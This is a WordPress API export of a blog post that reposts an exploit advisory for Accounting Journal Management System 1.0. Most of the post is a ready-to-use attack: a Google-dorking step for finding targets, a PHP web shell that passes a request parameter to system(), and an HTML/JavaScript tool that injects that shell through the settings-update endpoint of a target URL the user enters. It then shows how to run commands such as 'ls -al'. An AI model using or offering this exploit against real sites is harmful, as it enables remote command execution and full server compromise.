{"id":59019,"date":"2024-08-20T19:40:55","date_gmt":"2024-08-20T16:40:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180251\/ajms10-exec.txt"},"modified":"2024-08-20T19:40:55","modified_gmt":"2024-08-20T16:40:55","slug":"accounting-journal-management-system-1-0-code-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/accounting-journal-management-system-1-0-code-injection\/","title":{"rendered":"Accounting Journal Management System 1.0 Code Injection"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Accounting Journal Management System 1.0 php code injection Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/ajms_0_0.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This payload injects code of your choice into an HTML page. <\/p>\n<p>You give it a name and save it in the root directory of the script. and executes it remotely.<\/p>\n[+] Line 11 : &#8216;Content[welcome]&#8217; = Replace &#8220;welcome&#8221; with any label you want.<\/p>\n[+] Line 11 : Replace the payload as you wish = &lt;?php if(isset($_REQUEST[&#8216;cmd&#8217;])){ echo &#8220;&lt;pre&gt;&#8221;; $cmd = ($_REQUEST[&#8216;cmd&#8217;]); system($cmd); echo &#8220;&lt;\/pre&gt;&#8221;; die; }?&gt;<\/p>\n[+] save payload as poc.html <\/p>\n[+] Set your target url<\/p>\n[+] payload : <\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt; PHP code injection Tool&lt;\/title&gt;<br \/>&lt;script&gt;<br \/>async function sendRequest() {<br \/>const url = document.getElementById(&#8216;url&#8217;).value;<br \/>const postData = {<br \/>&#8216;content[welcome]&#8217;: `&lt;?php if(isset($_REQUEST[&#8216;cmd&#8217;])){ echo &#8220;&lt;pre&gt;&#8221;; $cmd = ($_REQUEST[&#8216;cmd&#8217;]); system($cmd); echo &#8220;&lt;\/pre&gt;&#8221;; die; }?&gt;`<br \/>};<\/p>\n<p>try {<br \/>const response = await fetch(`${url}\/classes\/SystemSettings.php?f=update_settings`, {<br \/>method: &#8216;POST&#8217;,<br \/>headers: {<br \/>&#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;<br \/>},<br \/>body: new URLSearchParams(postData).toString()<br \/>});<\/p>\n<p>if (response.ok) {<br \/>document.getElementById(&#8216;result&#8217;).innerText = &#8216;[+] Injection in welcome page\\n[+] &#8216; + url + &#8216;\/?cmd=ls -al\\n&#8217;;<\/p>\n<p>} else {<br \/>document.getElementById(&#8216;result&#8217;).innerText = &#8216;Error: &#8216; + response.statusText;<br \/>}<br \/>} catch (error) {<br \/>document.getElementById(&#8216;result&#8217;).innerText = &#8216;Error making request: &#8216; + error.message;<br \/>}<br \/>}<br \/>&lt;\/script&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;h1&gt;Injection Tool&lt;\/h1&gt;<br \/>&lt;form onsubmit=&#8221;event.preventDefault(); sendRequest();&#8221;&gt;<br \/>&lt;label for=&#8221;url&#8221;&gt;Enter URL:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;url&#8221; name=&#8221;url&#8221; required&gt;<br \/>&lt;button type=&#8221;submit&#8221;&gt;Submit&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;pre id=&#8221;result&#8221;&gt;&lt;\/pre&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Accounting Journal Management System 1.0 php code injection Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/ajms_0_0.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This payload injects code &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59019","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59019","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59019"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59019\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59019"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59019"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59019"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}